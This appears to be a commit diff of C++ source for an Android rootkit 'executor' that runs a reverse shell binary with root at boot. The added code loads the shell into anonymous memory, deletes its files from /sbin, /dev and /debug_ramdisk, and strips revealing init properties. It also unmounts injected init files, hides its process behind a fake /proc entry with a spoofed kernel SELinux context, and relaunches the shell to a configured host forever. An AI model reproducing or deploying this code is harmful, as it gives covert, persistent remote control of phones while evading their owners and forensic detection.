33
44#include < sys/mount.h>
55#include < sys/wait.h>
6+ #include < sys/mman.h>
7+ #include < sys/syscall.h>
68#include < unistd.h>
79#include < dirent.h>
810#include < pthread.h>
1618
1719
1820#ifdef MAGISK_DEBUG
19- #define LOG_TAG " revshell_exec"
21+ #define LOG_TAG " revshell_exec"
2022#define ALOGD (...) __android_log_print(ANDROID_LOG_DEBUG, LOG_TAG, __VA_ARGS__)
2123#else
2224#define ALOGD (...)
2325#endif
2426
2527#define CHECK_FS_DECRYPTED_INTERVAL 5
2628
27- #define ENCRYPTED_FS_CHECK_DIR " /data/data"
28- #define ENCRYPTED_FS_CHECK_PROOF " android"
29+ #define ENCRYPTED_FS_CHECK_DIR " /data/data"
30+ #define ENCRYPTED_FS_CHECK_PROOF " android"
2931
30- #define TEMP_MNT_POINT " /mnt/secure"
31- #define TEMP_DIR " /temp"
32+ #define TEMP_MNT_POINT " /mnt/secure"
33+ #define TEMP_DIR TEMP_MNT_POINT " /temp"
34+ #define EMPTY_DIR TEMP_DIR " /.empty"
3235
33- #define PERSIST_DIR " /data/adb/.fura"
34- #define EMPTY_DIR " /.empty"
36+ #define PERSIST_DIR " /data/adb/.fura"
3537
36- #define SBIN_REVSHELL " /sbin/revshell"
37- #define DEV_REVSHELL " /dev/sys_ctl/revshell"
38- #define DEBUG_REVSHELL " /debug_ramdisk/revshell"
38+ #define DEV_PATH " /dev/sys_ctl"
39+ #define DEV_REVSHELL DEV_PATH " /revshell"
40+ #define DEV_SEPOLICY " /dev/.sp"
41+
42+ #define SBIN_REVSHELL " /sbin/revshell"
43+ #define SBIN_EXECUTOR " /sbin/executor"
44+
45+ #define DEBUG_REVSHELL " /debug_ramdisk/revshell"
46+ #define DEBUG_EXECUTOR " /debug_ramdisk/executor"
47+ #define NEW_MAGISK_PATH " /debug_ramdisk/magisk"
48+
49+ #define INITRC_SYSTEM " /system/etc/init/hw/init.rc"
50+ #define INIT_BIN_SYSTEM " /system/bin/init"
3951
4052
4153bool check_fs_decrypted () {
@@ -59,7 +71,7 @@ int hide_process(pid_t pid) {
5971
6072 char buf[32 ];
6173 snprintf (buf, 31 , " /proc/%d" , pid);
62- return mount (TEMP_MNT_POINT TEMP_DIR EMPTY_DIR, buf, nullptr , MS_BIND, nullptr );
74+ return mount (EMPTY_DIR, buf, nullptr , MS_BIND, nullptr );
6375}
6476
6577int unhide_process (pid_t pid) {
@@ -82,7 +94,7 @@ void block_signals() {
8294int monitor_proc (pid_t ppid) {
8395 // Monitor all children of ppid and hide them
8496 std::string proc_dir = " /proc/" ;
85- ALOGD (" restarting ..." );
97+ ALOGD (" Starting revshell ..." );
8698
8799#ifdef HIDE_PROCESS_BIND
88100 hide_process (ppid); // hide revshell
@@ -120,7 +132,6 @@ int monitor_proc(pid_t ppid) {
120132 break ;
121133 }
122134
123-
124135#ifdef HIDE_PROCESS_BIND
125136 // hide it back if was revealed
126137 hide_process (ppid);
@@ -161,66 +172,147 @@ int monitor_proc(pid_t ppid) {
161172 return -1 ;
162173}
163174
175+ int read_file (const char * filename, uint8_t ** buf, size_t * filesize) {
176+ FILE* file = fopen (filename, " rb" );
177+ if (!file) return -1 ;
178+
179+ fseek (file, 0 , SEEK_END);
180+ *filesize = ftell (file);
181+ fseek (file, 0 , SEEK_SET);
182+
183+ *buf = (uint8_t *) malloc (*filesize);
184+ if (!buf) { fclose (file); return -1 ; }
185+
186+ fread (*buf, sizeof (uint8_t ), *filesize, file);
187+ fclose (file);
188+
189+ return 0 ;
190+ }
191+
192+ std::string file_to_memfd (std::string filename) {
193+ // I know mixing c and c++ is bad :P
194+ uint8_t * buf;
195+ size_t size;
196+
197+ if (read_file (filename.c_str (), &buf, &size) != 0 ) {
198+ ALOGD (" ERROR: Could not read from %s" , filename.c_str ());
199+ return " " ;
200+ }
201+
202+ int memfd = syscall (SYS_memfd_create, " anonymous" , 0 );
203+ if (memfd == -1 ) { free (buf); return " " ; }
204+
205+ write (memfd, buf, size);
206+ free (buf);
207+
208+ lseek (memfd, 0 , SEEK_SET);
209+ std::string memfd_path = " /proc/self/fd/" + std::to_string (memfd);
210+ ALOGD (" memfd path: %s" , memfd_path.c_str ());
211+
212+ return memfd_path;
213+ }
164214
165215int main (int argc, char ** argv, char ** envp) {
166216 /* *
167217 * Hidden execution of payload
168218 *
169219 * Make some preparations and Execute payload
170- * 1) check & create dirs (persistence, temp)
171- * 2) hide process
172- * 3) block all signals
173- * 4) execute revshell
220+ * 1) hide props
221+ * 2) check & create dirs (persistence, temp)
222+ * 3) move revshell to RAM (memfd)
223+ * 4) cleanup dirs
224+ * 5) hide process using bind mounts (if defined)
225+ * 6) execute revshell from memfd
174226 */
175227
176228 setuid (0 );
177229
178230 std::string revshell_path;
179231 int status;
180232
181- // Hide prop: init.svc.SVC_NAME
233+ ALOGD (" Executor is running" );
234+
235+ ALOGD (" Blocking signals" );
236+ block_signals ();
237+
238+ // Hide props
182239 if (argc >= 2 ) {
240+ ALOGD (" Hiding init props" );
241+
183242 std::string svc_name = " init.svc." + std::string (argv[1 ]);
184243 delprop (svc_name.c_str ());
185244
186245 svc_name = " ro.boottime." + std::string (argv[1 ]);
187246 delprop (svc_name.c_str ());
247+
248+ svc_name = " init.svc_debug_pid." + std::string (argv[1 ]);
249+ delprop (svc_name.c_str ());
250+ }
251+
252+ // Unmount init.rc on android 11+ (if no magisk, i.e. revshell is not at debug_ramdisk)
253+ if (access (INITRC_SYSTEM, F_OK) == 0 && access (DEBUG_REVSHELL, F_OK) != 0 ) {
254+ ALOGD (" Unmounting new init.rc" );
255+ umount2 (INITRC_SYSTEM, MNT_DETACH);
256+ umount2 (INIT_BIN_SYSTEM, MNT_DETACH);
188257 }
189258
190- // Remount read-only /sbin on system-as-root
191- // (may fail on rootfs, no problem there)
259+ // Cleanup /sbin on rootfs
192260 if (access (SBIN_REVSHELL, F_OK) == 0 ) {
193- ALOGD (" Remounting /sbin to avoid mount detection ..." );
261+ mount (nullptr , " /sbin" , nullptr , MS_REMOUNT, nullptr );
262+
263+ revshell_path = file_to_memfd (SBIN_REVSHELL);
264+ remove (SBIN_REVSHELL);
265+ remove (SBIN_EXECUTOR);
266+
194267 mount (nullptr , " /sbin" , nullptr , MS_REMOUNT | MS_RDONLY, nullptr );
195- revshell_path = SBIN_REVSHELL;
196268 }
197- else if (access (DEV_REVSHELL, F_OK) == 0 )
198- revshell_path = DEV_REVSHELL;
199- else if (access (DEBUG_REVSHELL, F_OK) == 0 )
200- revshell_path = DEBUG_REVSHELL;
269+
270+ // Remove /dev/sys_ctl, /dev/.sp on SAR / 2SI
271+ else if (access (DEV_PATH, F_OK) == 0 ) {
272+ revshell_path = file_to_memfd (DEV_REVSHELL);
273+ umount2 (DEV_PATH, MNT_DETACH);
274+ usleep (1000 );
275+ rmdir (DEV_PATH);
276+ remove (DEV_SEPOLICY);
277+ }
278+
279+ // Cleanup /debug_ramdisk (new magisk dir)
280+ else if (access (DEBUG_REVSHELL, F_OK) == 0 ) {
281+ revshell_path = file_to_memfd (DEBUG_REVSHELL);
282+ remove (DEBUG_REVSHELL);
283+ remove (DEBUG_EXECUTOR);
284+ }
285+
201286 else {
202287 ALOGD (" Error: revshell binary not found" );
203288 return 1 ;
204289 }
205290
206- // setup temp dir
207- ALOGD (" Setting up " TEMP_MNT_POINT TEMP_DIR);
291+ // Setup temp dir
292+ ALOGD (" Setting up " TEMP_DIR);
208293 mkdir (TEMP_MNT_POINT, 0700 );
209- mkdir (TEMP_MNT_POINT TEMP_DIR, 0700 );
210- system (" chcon u:object_r:" SEPOL_PROC_DOMAIN " :s0 " TEMP_MNT_POINT TEMP_DIR);
294+ mkdir (TEMP_DIR, 0700 );
295+ // If we are using our own context (not magisk), set temp dir context
296+ if (access (NEW_MAGISK_PATH, F_OK) != 0 )
297+ system (" chcon u:object_r:" SEPOL_PROC_DOMAIN " :s0 " TEMP_DIR);
211298
212299#ifdef HIDE_PROCESS_BIND
213300 // fake proc dir (.empty)
214301 // for some reason can't set permissions directly, chmod needed?
215- mkdir (TEMP_MNT_POINT TEMP_DIR EMPTY_DIR, 0555 );
302+ mkdir (EMPTY_DIR, 0555 );
216303 // fake selinux context and permissions
217- system (" chmod 555 " TEMP_MNT_POINT TEMP_DIR EMPTY_DIR);
218- system (" chcon u:r:kernel:s0 " TEMP_MNT_POINT TEMP_DIR EMPTY_DIR);
219- int fd = open (TEMP_MNT_POINT TEMP_DIR EMPTY_DIR " /cmdline" , O_WRONLY | O_CREAT, 0555 );
304+ system (" chmod 555 " EMPTY_DIR);
305+ system (" chcon u:r:kernel:s0 " EMPTY_DIR);
306+ int fd = open (EMPTY_DIR " /cmdline" , O_WRONLY | O_CREAT, 0555 );
220307 close (fd);
221- mkdir (TEMP_MNT_POINT TEMP_DIR EMPTY_DIR " /fd" , 0555 );
308+ mkdir (EMPTY_DIR " /fd" , 0555 );
309+
310+ ALOGD (" Hiding daemon process ..." );
311+ hide_process (getpid ());
312+ ALOGD (" Process hidden" );
222313#endif
223314
315+ #ifdef CREATE_PERSIST_DIR
224316 // await decryption by user
225317 ALOGD (" Awaiting decryption ..." );
226318 while (!check_fs_decrypted ())
@@ -236,24 +328,13 @@ int main(int argc, char** argv, char** envp) {
236328 mkdir (PERSIST_DIR, 0700 );
237329 // practically useless since /data/adb/... is inaccessible without root anyway
238330 system (" chcon u:object_r:" SEPOL_PROC_DOMAIN " :s0 " PERSIST_DIR);
239-
240- #ifdef HIDE_PROCESS_BIND
241- ALOGD (" Blocking signals and hiding process ..." );
242-
243- block_signals ();
244- hide_process (getpid ());
245-
246- ALOGD (" Process hidden" );
247331#endif
248332
249333 // my implementation of "service manager" (no logs, no traces)
250- // now service is started as oneshot, which apparently leaves no logs in dmesg!
334+ // now service is started as oneshot, which does not spam to dmesg
251335 while (true ) {
252336 pid_t revshell = fork ();
253- if (revshell == -1 ) {
254- ALOGD (" ERROR: Fork failed!" );
255- exit (EXIT_FAILURE);
256- }
337+ if (revshell == -1 ) exit (EXIT_FAILURE);
257338
258339 if (revshell == 0 ) {
259340 // Child (revshell)
@@ -265,6 +346,9 @@ int main(int argc, char** argv, char** envp) {
265346 char *const rs_argv[] = {(char *const ) revshell_path.c_str (), (char *const ) LHOST, nullptr };
266347#endif
267348 execve (revshell_path.c_str (), rs_argv, envp);
349+
350+ ALOGD (" ERROR: Could not exec revshell!" );
351+ exit (1 );
268352 } else {
269353 // Parent (executor)
270354 sleep (1 );
0 commit comments